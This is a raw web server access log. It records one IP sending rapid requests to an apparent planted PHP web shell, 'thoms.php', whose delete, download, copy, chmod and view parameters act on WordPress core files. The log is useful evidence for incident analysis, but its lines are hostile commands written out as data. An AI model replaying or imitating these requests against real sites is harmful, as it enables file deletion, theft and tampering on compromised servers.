45.135.193.11 - - [11/Sep/2026:23:25:06 -0400] "GET /thoms.php?del=class-wp-application-passwords.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-application-passwords.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:06 -0400] "GET /thoms.php?dl=class-wp-block-type-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:06 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-fatal-error-handler.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:06 -0400] "GET /big-wife.com.tw/wp-includes/deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-cookie.php HTTP/1.1" 200 14684 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-cookie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:07 -0400] "GET /big-wife.com.tw/wp-includes/block-i18n.json HTTP/1.1" 200 149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:07 -0400] "GET /big-wife.com.tw/wp-includes/class-walker-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:07 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11908 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-templates-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:07 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:07 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-text-diff-renderer-table.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:07 -0400] "GET /thoms.php?del=class-wp-block-styles-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-block-styles-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:07 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-xmlrpc-server.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:07 -0400] "GET /big-wife.com.tw/wp-includes/class-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:08 -0400] "GET /thoms.php?chmod=locale.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=locale.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:08 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fimages&p= HTTP/1.1" 200 12312 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:08 -0400] "GET /thoms.php?chmod=class-pop3.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-pop3.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:08 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed-rss.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed-rss.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:08 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=link-template.php HTTP/1.1" 200 49594 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=link-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:08 -0400] "GET /big-wife.com.tw/wp-includes/customize/ HTTP/1.1" 200 2247 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:08 -0400] "GET /thoms.php?del=class-walker-page.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-walker-page.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:08 -0400] "GET /big-wife.com.tw/wp-includes/functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:08 -0400] "GET /thoms.php?del=template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:08 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpost.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpost.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:08 -0400] "GET /thoms.php?chmod=theme.json&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=theme.json&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:09 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-exception.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:09 -0400] "GET /thoms.php?chmod=block-i18n.json&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=block-i18n.json&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:09 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-site-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:08 -0400] "GET /thoms.php?dl=media-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=media-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:09 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-navigation-fallback.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:09 -0400] "GET /thoms.php?chmod=IXR&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=IXR&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:09 -0400] "GET /big-wife.com.tw/wp-includes/cache-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:09 -0400] "GET /thoms.php?del=class-wp-metadata-lazyloader.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-metadata-lazyloader.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:09 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:09 -0400] "GET /thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11549 "http://163.245.207.76:443/thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:09 -0400] "GET /thoms.php?del=class-wp-embed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-wp-embed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:09 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-plugin-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:09 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-query.php HTTP/1.1" 200 54395 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:10 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-tax-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:09 -0400] "GET /thoms.php?dl=class-wp-image-editor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:10 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php HTTP/1.1" 200 14970 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:10 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-customize-setting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:10 -0400] "GET /thoms.php?chmod=class-wp-block-type-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:10 -0400] "GET /thoms.php?dl=class-wp-widget-factory.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget-factory.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:10 -0400] "GET /thoms.php?del=class-wp-block-editor-context.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-block-editor-context.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:10 -0400] "GET /thoms.php?dl=class-wp-metadata-lazyloader.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59380 "http://163.245.207.76:443/thoms.php?dl=class-wp-metadata-lazyloader.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:10 -0400] "GET /thoms.php?dl=class-wp-roles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-roles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:10 -0400] "GET /thoms.php?dl=class-wp-user-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:11 -0400] "GET /thoms.php?dl=compat.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59359 "http://163.245.207.76:443/thoms.php?dl=compat.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:11 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php HTTP/1.1" 200 15742 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:11 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-setting.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:11 -0400] "GET /thoms.php?chmod=class-wp-simplepie-file.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-file.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:11 -0400] "GET /big-wife.com.tw/wp-includes/taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:11 -0400] "GET /thoms.php?chmod=ms-load.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=ms-load.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:11 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=registration.php HTTP/1.1" 200 12031 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=registration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:11 -0400] "GET /big-wife.com.tw/wp-includes/class-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:11 -0400] "GET /big-wife.com.tw/wp-includes/class-walker-category-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=template.php HTTP/1.1" 200 21702 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:11 -0400] "GET /thoms.php?dl=class-wp-text-diff-renderer-table.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-text-diff-renderer-table.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:12 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-http-requests-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:12 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php HTTP/1.1" 200 12748 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:12 -0400] "GET /big-wife.com.tw/wp-includes/default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:12 -0400] "GET /thoms.php?dl=class-wp-http-requests-hooks.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-hooks.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:12 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-text-diff-renderer-table.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:12 -0400] "GET /thoms.php?del=class-wp-theme-json-resolver.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-resolver.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:12 -0400] "GET /thoms.php?dl=fonts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?dl=fonts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:12 -0400] "GET /thoms.php?dl=class-wp-icons-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-icons-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:13 -0400] "GET /big-wife.com.tw/wp-includes/media.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:12 -0400] "GET /thoms.php?del=fonts.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=fonts.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:13 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-settings.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-settings.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:13 -0400] "GET /thoms.php?chmod=class-phpmailer.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-phpmailer.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=post-thumbnail-template.php HTTP/1.1" 200 14721 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=post-thumbnail-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:13 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-icons-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:13 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11852 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
